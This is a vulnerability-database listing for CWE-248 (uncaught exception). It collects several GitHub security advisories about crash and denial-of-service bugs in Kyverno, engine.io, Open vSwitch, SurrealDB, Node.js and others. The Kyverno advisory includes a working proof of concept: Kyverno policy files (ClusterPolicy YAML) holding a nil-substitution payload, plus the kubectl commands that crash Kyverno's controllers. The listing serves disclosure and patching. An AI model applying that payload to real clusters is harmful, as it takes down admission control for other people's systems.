CWE-248
AllowedUncaught Exception
Abstraction: Base · Status: Draft
An exception is thrown from a function, but it is not caught.
487 vulnerabilities reference this CWE, most recent first.
GHSA-R5P3-955P-5GGQ
Vulnerability from github – Published: 2025-07-22 14:24 – Updated: 2025-07-23 22:15Summary
A Denial of Service (DoS) vulnerability exists in Kyverno due to improper handling of JMESPath variable substitutions. Attackers with permissions to create or update Kyverno policies can craft expressions using the {{@}} variable combined with a pipe and an invalid JMESPath function (e.g., {{@ | non_existent_function }}).
This leads to a nil value being substituted into the policy structure. Subsequent processing by internal functions, specifically getValueAsStringMap, which expect string values, results in a panic due to a type assertion failure (interface {} is nil, not string). This crashes Kyverno worker threads in the admission controller (and can lead to full admission controller unavailability in Enforce mode) and causes continuous crashes of the reports controller pod, leading to service degradation or unavailability."
Details
The vulnerability lies in the getValueAsStringMap function within pkg/engine/wildcards/wildcards.go (specifically around line 138):
func getValueAsStringMap(key string, data interface{}) (string, map[string]string) {
// ...
valMap, ok := val.(map[string]interface{}) // val can be the map containing the nil value
// ...
for k, v := range valMap { // If valMap contains a key whose value is nil...
result[k] = v.(string) // PANIC: v.(string) on a nil interface{}
}
return patternKey, result
}
When a policy contains a variable like {{@ | foo}} (where foo is not a defined JMESPath function), the JMESPath evaluation within Kyverno's variable substitution logic results in a nil value. This nil is then assigned to the corresponding field in the policy pattern (e.g., a label value).
During policy processing, ExpandInMetadata calls expandWildcardsInTag, which in turn calls getValueAsStringMap. If the data argument to getValueAsStringMap (derived from the policy pattern) contains this nil value where a string is expected, the type assertion v.(string) panics when v is nil.
Proof of Concept (PoC)
This proof of concept consists of two phases. First a malicious policy is inserted with the default validation failure action, which is Audit. In this phase the reports controller will end up in a crash loop. The admission controller will print out a similar stack trace, but only a worker crashes. The admission controller process does not crash.
In the second phase the same policy is inserted with the Enforce validation failure action. In this scenario both admission controller and the reports controller end up in a crash loop. As the admission controller crashes on incoming admission requests, it effectively makes it impossible to deploy new resources.
Tested on Kyverno v1.14.1.
-
Prerequisites: Kubernetes cluster with Kyverno installed. Attacker has permissions to create/update
ClusterPolicyorPolicyresources. -
Create a Malicious Policy: Apply the following
ClusterPolicy:yaml apiVersion: kyverno.io/v1 kind: ClusterPolicy metadata: name: dos-via-jmespath-nil spec: rules: - name: trigger-nil-panic match: any: - resources: kinds: - Pod validate: message: "DoS attempt via JMESPath nil substitution" pattern: metadata: labels: # '{{@ | non_existent_function}}' will result in a nil value for this label. # This nil value causes a panic in getValueAsStringMap. trigger_panic: "{{@ | non_existent_function}}" -
Verify the policy status: Make sure the policy is ready.
bash k get clusterpolicy dos-via-jmespath-nil NAME ADMISSION BACKGROUND READY AGE MESSAGE dos-via-jmespath-nil true true True 24m Ready -
Trigger the Policy: Create any Pod in any namespace (if not further restricted by
matchorexclude):bash kubectl run test-pod-dos --image=nginx -
Observe Crashes:
- Check Kyverno admission controller logs for worker panics (
interface conversion: interface {} is nil, not string). - Check Kyverno reports controller logs; the pod crashes and restarts.
- Stack trace available here (as a secret gist): https://gist.github.com/thevilledev/723392bad36020b82209262275434380
- Check Kyverno admission controller logs for worker panics (
-
Reset: Delete the existing policy with
kubectl delete clusterpolicy dos-via-jmespath-niland delete the test pod withkubectl delete pod test-pod-dos. Then apply the following:
yaml
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
name: dos-via-jmespath-nil-enforce
spec:
validationFailureAction: Enforce # This has changed
rules:
- name: trigger-nil-panic
match:
any:
- resources:
kinds:
- Pod
validate:
message: "DoS attempt via JMESPath nil substitution"
pattern:
metadata:
labels:
# '{{@ | non_existent_function}}' will result in a nil value for this label.
# This nil value causes a panic in getValueAsStringMap.
trigger_panic: "{{@ | non_existent_function}}"
-
Trigger the Policy (again): Create any Pod in any namespace (if not further restricted by
matchorexclude):bash kubectl run test-pod-dos --image=nginxThe command returns the following error:
bash Error from server (InternalError): Internal error occurred: failed calling webhook "validate.kyverno.svc-fail": failed to call webhook: Post "https://kyverno-svc.kyverno.svc:443/validate/fail?timeout=10s": EOF -
Observe Crashes:
- Check Kyverno admission controller logs for container panic. Notice that the whole controller has crashed, not just a worker.
- Check Kyverno reports controller logs; the pod crashes and restarts.
Impact
This is a Denial of Service (DoS) vulnerability.
-
Affected Components:
- Kyverno Admission Controller: In Audit mode, individual worker threads handling admission requests will panic and terminate. While the main pod uses a worker pool and can recover by spawning new workers, repeated exploitation can degrade performance or lead to worker pool exhaustion. In Enforce mode, the whole controller panics. This makes all related admission requests fail.
- Kyverno Reports Controller: The entire controller pod will panic and crash, requiring a restart by Kubernetes. This halts background policy scanning and report generation.
-
Conditions: An attacker needs permissions to create or update Kyverno
PolicyorClusterPolicyresources. This is often a privileged operation but may be delegated in some environments. - Consequences: Degraded policy enforcement, inability to create/update resources, and loss of policy reporting visibility.
Mitigation
- Add robust
nilhandling ingetValueAsStringMap. - Look into adding graceful error handling in JMESPath substitution. Prevent evaluation errors (like undefined functions) from resulting in
nilvalues.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.14.1"
},
"package": {
"ecosystem": "Go",
"name": "github.com/kyverno/kyverno"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.14.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-47281"
],
"database_specific": {
"cwe_ids": [
"CWE-20",
"CWE-248"
],
"github_reviewed": true,
"github_reviewed_at": "2025-07-22T14:24:19Z",
"nvd_published_at": "2025-07-23T21:15:26Z",
"severity": "HIGH"
},
"details": "### Summary\nA Denial of Service (DoS) vulnerability exists in Kyverno due to improper handling of JMESPath variable substitutions. Attackers with permissions to create or update Kyverno policies can craft expressions using the `{{@}}` variable combined with a pipe and an invalid JMESPath function (e.g., `{{@ | non_existent_function }}`).\n\nThis leads to a `nil` value being substituted into the policy structure. Subsequent processing by internal functions, specifically `getValueAsStringMap`, which expect string values, results in a panic due to a type assertion failure (`interface {} is nil, not string`). This crashes Kyverno worker threads in the admission controller (and can lead to full admission controller unavailability in Enforce mode) and causes continuous crashes of the reports controller pod, leading to service degradation or unavailability.\"\n\n### Details\nThe vulnerability lies in the `getValueAsStringMap` function within `pkg/engine/wildcards/wildcards.go` (specifically around line 138):\n\n```go\nfunc getValueAsStringMap(key string, data interface{}) (string, map[string]string) {\n // ...\n valMap, ok := val.(map[string]interface{}) // val can be the map containing the nil value\n // ...\n for k, v := range valMap { // If valMap contains a key whose value is nil...\n result[k] = v.(string) // PANIC: v.(string) on a nil interface{}\n }\n return patternKey, result\n}\n```\n\nWhen a policy contains a variable like `{{@ | foo}}` (where `foo` is not a defined JMESPath function), the JMESPath evaluation within Kyverno\u0027s variable substitution logic results in a `nil` value. This `nil` is then assigned to the corresponding field in the policy pattern (e.g., a label value).\n\nDuring policy processing, `ExpandInMetadata` calls `expandWildcardsInTag`, which in turn calls `getValueAsStringMap`. If the `data` argument to `getValueAsStringMap` (derived from the policy pattern) contains this `nil` value where a string is expected, the type assertion `v.(string)` panics when `v` is `nil`.\n\n### Proof of Concept (PoC)\n\nThis proof of concept consists of two phases. First a malicious policy is inserted with the default validation failure action, which is `Audit`. In this phase the reports controller will end up in a crash loop. The admission controller will print out a similar stack trace, but only a worker crashes. The admission controller process does not crash.\n\nIn the second phase the same policy is inserted with the `Enforce` validation failure action. In this scenario both admission controller and the reports controller end up in a crash loop. As the admission controller crashes on incoming admission requests, it effectively makes it impossible to deploy new resources.\n\nTested on Kyverno v1.14.1.\n\n1. **Prerequisites**:\n Kubernetes cluster with Kyverno installed. Attacker has permissions to create/update `ClusterPolicy` or `Policy` resources.\n\n2. **Create a Malicious Policy**:\n Apply the following `ClusterPolicy`:\n\n ```yaml\n apiVersion: kyverno.io/v1\n kind: ClusterPolicy\n metadata:\n name: dos-via-jmespath-nil\n spec:\n rules:\n - name: trigger-nil-panic\n match:\n any:\n - resources:\n kinds:\n - Pod\n validate:\n message: \"DoS attempt via JMESPath nil substitution\"\n pattern:\n metadata:\n labels:\n # \u0027{{@ | non_existent_function}}\u0027 will result in a nil value for this label.\n # This nil value causes a panic in getValueAsStringMap.\n trigger_panic: \"{{@ | non_existent_function}}\"\n ```\n\n3. **Verify the policy status**:\n Make sure the policy is ready.\n\n ```bash\n k get clusterpolicy dos-via-jmespath-nil\n NAME ADMISSION BACKGROUND READY AGE MESSAGE\n dos-via-jmespath-nil true true True 24m Ready\n ```\n\n3. **Trigger the Policy**:\n Create any Pod in any namespace (if not further restricted by `match` or `exclude`):\n\n ```bash\n kubectl run test-pod-dos --image=nginx\n ```\n\n4. **Observe Crashes**:\n * Check Kyverno admission controller logs for worker panics (`interface conversion: interface {} is nil, not string`).\n * Check Kyverno reports controller logs; the pod crashes and restarts.\n * Stack trace available here (as a secret gist): https://gist.github.com/thevilledev/723392bad36020b82209262275434380\n\n5. **Reset**:\n Delete the existing policy with `kubectl delete clusterpolicy dos-via-jmespath-nil` and delete\n the test pod with `kubectl delete pod test-pod-dos`. Then apply the following:\n\n ```yaml\n apiVersion: kyverno.io/v1\n kind: ClusterPolicy\n metadata:\n name: dos-via-jmespath-nil-enforce\n spec:\n validationFailureAction: Enforce # This has changed\n rules:\n - name: trigger-nil-panic\n match:\n any:\n - resources:\n kinds:\n - Pod\n validate:\n message: \"DoS attempt via JMESPath nil substitution\"\n pattern:\n metadata:\n labels:\n # \u0027{{@ | non_existent_function}}\u0027 will result in a nil value for this label.\n # This nil value causes a panic in getValueAsStringMap.\n trigger_panic: \"{{@ | non_existent_function}}\"\n ```\n\n6. **Trigger the Policy (again)**:\n Create any Pod in any namespace (if not further restricted by `match` or `exclude`):\n\n ```bash\n kubectl run test-pod-dos --image=nginx\n ```\n\n The command returns the following error:\n\n ```bash\n Error from server (InternalError): Internal error occurred: failed calling webhook \"validate.kyverno.svc-fail\": failed to call webhook: Post \"https://kyverno-svc.kyverno.svc:443/validate/fail?timeout=10s\": EOF\n ```\n\n7. **Observe Crashes**:\n * Check Kyverno admission controller logs for container panic. Notice that the whole controller has crashed, not just a worker.\n * Check Kyverno reports controller logs; the pod crashes and restarts.\n\n### Impact\n\nThis is a Denial of Service (DoS) vulnerability.\n\n* **Affected Components**:\n * **Kyverno Admission Controller**: In Audit mode, individual worker threads handling admission requests will panic and terminate. While the main pod uses a worker pool and can recover by spawning new workers, repeated exploitation can degrade performance or lead to worker pool exhaustion. In Enforce mode, the whole controller panics. This makes all related admission requests fail.\n * **Kyverno Reports Controller**: The entire controller pod will panic and crash, requiring a restart by Kubernetes. This halts background policy scanning and report generation.\n\n* **Conditions**: An attacker needs permissions to create or update Kyverno `Policy` or `ClusterPolicy` resources. This is often a privileged operation but may be delegated in some environments.\n* **Consequences**: Degraded policy enforcement, inability to create/update resources, and loss of policy reporting visibility. \n\n### Mitigation\n\n- Add robust `nil` handling in `getValueAsStringMap`.\n- Look into adding graceful error handling in JMESPath substitution. Prevent evaluation errors (like undefined functions) from resulting in `nil` values.",
"id": "GHSA-r5p3-955p-5ggq",
"modified": "2025-07-23T22:15:03Z",
"published": "2025-07-22T14:24:19Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/kyverno/kyverno/security/advisories/GHSA-r5p3-955p-5ggq"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-47281"
},
{
"type": "WEB",
"url": "https://github.com/kyverno/kyverno/commit/cbd7d4ca24de1c55396fc3295e9fc3215832be7c"
},
{
"type": "PACKAGE",
"url": "https://github.com/kyverno/kyverno"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Kyverno\u0027s Improper JMESPath Variable Evaluation Lead to Denial of Service"
}
GHSA-R7QP-CFHV-P84W
Vulnerability from github – Published: 2022-11-21 23:55 – Updated: 2022-12-08 00:47Impact
A specially crafted HTTP request can trigger an uncaught exception on the Engine.IO server, thus killing the Node.js process.
events.js:292
throw er; // Unhandled 'error' event
^
Error: read ECONNRESET
at TCP.onStreamRead (internal/stream_base_commons.js:209:20)
Emitted 'error' event on Socket instance at:
at emitErrorNT (internal/streams/destroy.js:106:8)
at emitErrorCloseNT (internal/streams/destroy.js:74:3)
at processTicksAndRejections (internal/process/task_queues.js:80:21) {
errno: -104,
code: 'ECONNRESET',
syscall: 'read'
}
This impacts all the users of the engine.io package, including those who uses depending packages like socket.io.
Patches
A fix has been released today (2022/11/20):
| Version range | Fixed version |
|---|---|
engine.io@3.x.y |
3.6.1 |
engine.io@6.x.y |
6.2.1 |
For socket.io users:
| Version range | engine.io version |
Needs minor update? |
|---|---|---|
socket.io@4.5.x |
~6.2.0 |
npm audit fix should be sufficient |
socket.io@4.4.x |
~6.1.0 |
Please upgrade to socket.io@4.5.x |
socket.io@4.3.x |
~6.0.0 |
Please upgrade to socket.io@4.5.x |
socket.io@4.2.x |
~5.2.0 |
Please upgrade to socket.io@4.5.x |
socket.io@4.1.x |
~5.1.1 |
Please upgrade to socket.io@4.5.x |
socket.io@4.0.x |
~5.0.0 |
Please upgrade to socket.io@4.5.x |
socket.io@3.1.x |
~4.1.0 |
Please upgrade to socket.io@4.5.x (see here) |
socket.io@3.0.x |
~4.0.0 |
Please upgrade to socket.io@4.5.x (see here) |
socket.io@2.5.0 |
~3.6.0 |
npm audit fix should be sufficient |
socket.io@2.4.x and below |
~3.5.0 |
Please upgrade to socket.io@2.5.0 |
Workarounds
There is no known workaround except upgrading to a safe version.
For more information
If you have any questions or comments about this advisory:
- Open an issue in
engine.io
Thanks to Jonathan Neve for the responsible disclosure.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "engine.io"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.6.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "engine.io"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "6.2.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-41940"
],
"database_specific": {
"cwe_ids": [
"CWE-248"
],
"github_reviewed": true,
"github_reviewed_at": "2022-11-21T23:55:41Z",
"nvd_published_at": "2022-11-22T01:15:00Z",
"severity": "MODERATE"
},
"details": "### Impact\n\nA specially crafted HTTP request can trigger an uncaught exception on the Engine.IO server, thus killing the Node.js process.\n\n```\nevents.js:292\n throw er; // Unhandled \u0027error\u0027 event\n ^\n\nError: read ECONNRESET\n at TCP.onStreamRead (internal/stream_base_commons.js:209:20)\nEmitted \u0027error\u0027 event on Socket instance at:\n at emitErrorNT (internal/streams/destroy.js:106:8)\n at emitErrorCloseNT (internal/streams/destroy.js:74:3)\n at processTicksAndRejections (internal/process/task_queues.js:80:21) {\n errno: -104,\n code: \u0027ECONNRESET\u0027,\n syscall: \u0027read\u0027\n}\n```\n\nThis impacts all the users of the [`engine.io`](https://www.npmjs.com/package/engine.io) package, including those who uses depending packages like [`socket.io`](https://www.npmjs.com/package/socket.io).\n\n### Patches\n\nA fix has been released today (2022/11/20):\n\n| Version range | Fixed version |\n|-------------------|---------------|\n| `engine.io@3.x.y` | `3.6.1` |\n| `engine.io@6.x.y` | `6.2.1` |\n\nFor `socket.io` users:\n\n| Version range | `engine.io` version | Needs minor update? |\n|-----------------------------|---------------------|--------------------------------------------------------------------------------------------------------|\n| `socket.io@4.5.x` | `~6.2.0` | `npm audit fix` should be sufficient |\n| `socket.io@4.4.x` | `~6.1.0` | Please upgrade to `socket.io@4.5.x` |\n| `socket.io@4.3.x` | `~6.0.0` | Please upgrade to `socket.io@4.5.x` |\n| `socket.io@4.2.x` | `~5.2.0` | Please upgrade to `socket.io@4.5.x` |\n| `socket.io@4.1.x` | `~5.1.1` | Please upgrade to `socket.io@4.5.x` |\n| `socket.io@4.0.x` | `~5.0.0` | Please upgrade to `socket.io@4.5.x` |\n| `socket.io@3.1.x` | `~4.1.0` | Please upgrade to `socket.io@4.5.x` (see [here](https://socket.io/docs/v4/migrating-from-3-x-to-4-0/)) |\n| `socket.io@3.0.x` | `~4.0.0` | Please upgrade to `socket.io@4.5.x` (see [here](https://socket.io/docs/v4/migrating-from-3-x-to-4-0/)) |\n| `socket.io@2.5.0` | `~3.6.0` | `npm audit fix` should be sufficient |\n| `socket.io@2.4.x` and below | `~3.5.0` | Please upgrade to `socket.io@2.5.0` |\n\n### Workarounds\n\nThere is no known workaround except upgrading to a safe version.\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n\n* Open an issue in [`engine.io`](https://github.com/socketio/engine.io)\n\nThanks to [Jonathan Neve](https://github.com/jonathanneve) for the responsible disclosure.\n",
"id": "GHSA-r7qp-cfhv-p84w",
"modified": "2022-12-08T00:47:24Z",
"published": "2022-11-21T23:55:41Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/socketio/engine.io/security/advisories/GHSA-r7qp-cfhv-p84w"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-41940"
},
{
"type": "WEB",
"url": "https://github.com/socketio/engine.io/commit/425e833ab13373edf1dd5a0706f07100db14e3c6"
},
{
"type": "WEB",
"url": "https://github.com/socketio/engine.io/commit/83c4071af871fc188298d7d591e95670bf9f9085"
},
{
"type": "PACKAGE",
"url": "https://github.com/socketio/engine.io"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Uncaught exception in engine.io"
}
GHSA-R9CJ-PFGJ-JC26
Vulnerability from github – Published: 2024-02-22 15:30 – Updated: 2024-03-23 03:30A flaw was found in Open vSwitch where multiple versions are vulnerable to crafted Geneve packets, which may result in a denial of service and invalid memory accesses. Triggering this issue requires that hardware offloading via the netlink path is enabled.
{
"affected": [],
"aliases": [
"CVE-2023-3966"
],
"database_specific": {
"cwe_ids": [
"CWE-248"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-02-22T13:15:07Z",
"severity": "HIGH"
},
"details": "A flaw was found in Open vSwitch where multiple versions are vulnerable to crafted Geneve packets, which may result in a denial of service and invalid memory accesses. Triggering this issue requires that hardware offloading via the netlink path is enabled.",
"id": "GHSA-r9cj-pfgj-jc26",
"modified": "2024-03-23T03:30:24Z",
"published": "2024-02-22T15:30:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-3966"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2023-3966"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2178363"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/LFZADABUDOFI2KZIRQBYFZCIKH55RGY3"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/VYYUBF6OW2JG7VOFEOROHXGSJCTES3QO"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-R9WJ-GM7P-2529
Vulnerability from github – Published: 2025-08-05 21:31 – Updated: 2025-10-02 18:30A denial-of-service vulnerability exists in Sysax Multi-Server version 6.10 via its SSH daemon. A specially crafted SSH key exchange packet can trigger a crash in the service, resulting in loss of availability. The flaw is triggered during the handling of malformed key exchange data, including a non-standard byte (\x28) in place of the expected SSH protocol delimiter.
{
"affected": [],
"aliases": [
"CVE-2013-10065"
],
"database_specific": {
"cwe_ids": [
"CWE-248"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-08-05T20:15:35Z",
"severity": "HIGH"
},
"details": "A denial-of-service vulnerability exists in\u00a0Sysax Multi-Server version 6.10 via its SSH daemon. A specially crafted SSH key exchange packet can trigger a crash in the service, resulting in loss of availability. The flaw is triggered during the handling of malformed key exchange data, including a non-standard byte (\\x28) in place of the expected SSH protocol delimiter.",
"id": "GHSA-r9wj-gm7p-2529",
"modified": "2025-10-02T18:30:56Z",
"published": "2025-08-05T21:31:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2013-10065"
},
{
"type": "WEB",
"url": "https://raw.githubusercontent.com/rapid7/metasploit-framework/master/modules/auxiliary/dos/windows/ssh/sysax_sshd_kexchange.rb"
},
{
"type": "WEB",
"url": "https://www.mattandreko.com/2013/04/08/sysax-multi-server-6.10-ssh-dos"
},
{
"type": "WEB",
"url": "https://www.sysax.com"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/sysax-multi-server-sshd-key-exchange-dos"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-RGQC-3X5P-6GWG
Vulnerability from github – Published: 2026-08-24 19:47 – Updated: 2026-08-24 19:47A malicious or compromised server can return a binary hstore value with an
invalid internal length field, causing the client to panic while decoding it.
Applications that connect only to a trusted database are not exposed; the risk applies to clients that may connect to untrusted or user-supplied servers, or whose connection can be intercepted by a man-in-the-middle.
{
"affected": [
{
"package": {
"ecosystem": "crates.io",
"name": "postgres-protocol"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.6.12"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-20",
"CWE-248"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-24T19:47:49Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "A malicious or compromised server can return a binary `hstore` value with an\ninvalid internal length field, causing the client to panic while decoding it.\n\nApplications that connect only to a trusted database are not exposed; the risk\napplies to clients that may connect to untrusted or user-supplied servers, or\nwhose connection can be intercepted by a man-in-the-middle.",
"id": "GHSA-rgqc-3x5p-6gwg",
"modified": "2026-08-24T19:47:49Z",
"published": "2026-08-24T19:47:49Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/rust-postgres/rust-postgres/commit/a7cf84b5c46431cbca9d8ff50508c23f446efa7d"
},
{
"type": "PACKAGE",
"url": "https://github.com/rust-postgres/rust-postgres"
},
{
"type": "WEB",
"url": "https://github.com/rust-postgres/rust-postgres/releases/tag/postgres-protocol-v0.6.12"
},
{
"type": "WEB",
"url": "https://rustsec.org/advisories/RUSTSEC-2026-0180.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "postgres-protocol: Panic decoding a malformed `hstore` value allows denial of service"
}
GHSA-RJV5-CQP8-H968
Vulnerability from github – Published: 2025-09-17 18:31 – Updated: 2025-09-17 18:31CISA Thorium uses '.unwrap()' to handle errors related to account verification email messages. An unauthenticated remote attacker could cause a crash by providing a specially crafted email address or response. Fixed in commit 6a65a27.
{
"affected": [],
"aliases": [
"CVE-2025-35436"
],
"database_specific": {
"cwe_ids": [
"CWE-248"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-09-17T17:15:44Z",
"severity": "MODERATE"
},
"details": "CISA Thorium uses \u0027.unwrap()\u0027 to handle errors related to account verification email messages. An unauthenticated remote attacker could cause a crash by providing a specially crafted email address or response. Fixed in commit 6a65a27.",
"id": "GHSA-rjv5-cqp8-h968",
"modified": "2025-09-17T18:31:18Z",
"published": "2025-09-17T18:31:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-35436"
},
{
"type": "WEB",
"url": "https://github.com/mjcarson/thorium/commit/6a65a2711fb2387e8c3eacebc774053741bf5aeb"
},
{
"type": "WEB",
"url": "https://raw.githubusercontent.com/cisagov/CSAF/develop/csaf_files/IT/white/2025/va-25-259-01.json"
},
{
"type": "WEB",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-35436"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-RQ86-9M6R-CM3G
Vulnerability from github – Published: 2025-04-10 21:05 – Updated: 2025-04-10 21:05A vulnerability was found where an attacker can crash the database via crafting a HTTP query that returns a null byte. The problem relies on an uncaught exception in the net module, where the result of the query will be converted to JSON before showing as the HTTP response to the user in the /sql endpoint.
Impact
This vulnerability allows any authenticated user to crash a SurrealDB instance by sending a crafted query with a null byte to the /sql endpoint.
Where SurrealDB is used as an application backend, it is possible that an application user can crash the SurrealDB instance and thus the supported application through crafted inputs that exploit this attack vector.
Patches
A patch has been introduced that ensures the error is caught and converted as an error. - Versions 2.2.2, 2.1.5 and 2.0.5 and later are not affected by this isssue
Workarounds
Affected users who are unable to update may want to limit the ability of untrusted clients to run arbitrary queries in the affected versions of SurrealDB. To limit the impact of the denial of service, SurrealDB administrators may also want to ensure that the SurrealDB process is running so that it can be automatically re-started after a crash.
Where SurrealDB is used as an application backend, ensure sanitisation of input at the application layer to prevent injection attacks.
References
https://github.com/surrealdb/surrealdb/pull/5647
{
"affected": [
{
"package": {
"ecosystem": "crates.io",
"name": "surrealdb"
},
"ranges": [
{
"events": [
{
"introduced": "2.2.0"
},
{
"fixed": "2.2.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "crates.io",
"name": "surrealdb"
},
"ranges": [
{
"events": [
{
"introduced": "2.1.0"
},
{
"fixed": "2.1.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "crates.io",
"name": "surrealdb"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.0.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-248"
],
"github_reviewed": true,
"github_reviewed_at": "2025-04-10T21:05:34Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "A vulnerability was found where an attacker can crash the database via crafting a HTTP query that returns a null byte. The problem relies on an uncaught exception in the `net` module, where the result of the query will be converted to JSON before showing as the HTTP response to the user in the **/sql** endpoint.\n\n### Impact\nThis vulnerability allows any authenticated user to crash a SurrealDB instance by sending a crafted query with a null byte to the /sql endpoint. \n\nWhere SurrealDB is used as an application backend, it is possible that an application user can crash the SurrealDB instance and thus the supported application through crafted inputs that exploit this attack vector.\n\n\n### Patches\nA patch has been introduced that ensures the error is caught and converted as an error.\n- Versions 2.2.2, 2.1.5 and 2.0.5 and later are not affected by this isssue\n\n### Workarounds\n\nAffected users who are unable to update may want to limit the ability of untrusted clients to run arbitrary queries in the affected versions of SurrealDB. To limit the impact of the denial of service, SurrealDB administrators may also want to ensure that the SurrealDB process is running so that it can be automatically re-started after a crash.\n\nWhere SurrealDB is used as an application backend, ensure sanitisation of input at the application layer to prevent injection attacks.\n\n### References\nhttps://github.com/surrealdb/surrealdb/pull/5647",
"id": "GHSA-rq86-9m6r-cm3g",
"modified": "2025-04-10T21:05:35Z",
"published": "2025-04-10T21:05:34Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/surrealdb/surrealdb/security/advisories/GHSA-rq86-9m6r-cm3g"
},
{
"type": "WEB",
"url": "https://github.com/surrealdb/surrealdb/pull/5647"
},
{
"type": "PACKAGE",
"url": "https://github.com/surrealdb/surrealdb"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "SurrealDB has uncaught exception in Net module that leads to database crash"
}
GHSA-RRJV-57MM-J6CM
Vulnerability from github – Published: 2025-05-19 03:30 – Updated: 2025-05-19 03:30The C++ method SignTraits::DeriveBits() may incorrectly call ThrowException() based on user-supplied inputs when executing in a background thread, crashing the Node.js process. Such cryptographic operations are commonly applied to untrusted inputs. Thus, this mechanism potentially allows an adversary to remotely crash a Node.js runtime.
{
"affected": [],
"aliases": [
"CVE-2025-23166"
],
"database_specific": {
"cwe_ids": [
"CWE-248"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-05-19T02:15:17Z",
"severity": "HIGH"
},
"details": "The C++ method SignTraits::DeriveBits() may incorrectly call ThrowException() based on user-supplied inputs when executing in a background thread, crashing the Node.js process. Such cryptographic operations are commonly applied to untrusted inputs. Thus, this mechanism potentially allows an adversary to remotely crash a Node.js runtime.",
"id": "GHSA-rrjv-57mm-j6cm",
"modified": "2025-05-19T03:30:29Z",
"published": "2025-05-19T03:30:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-23166"
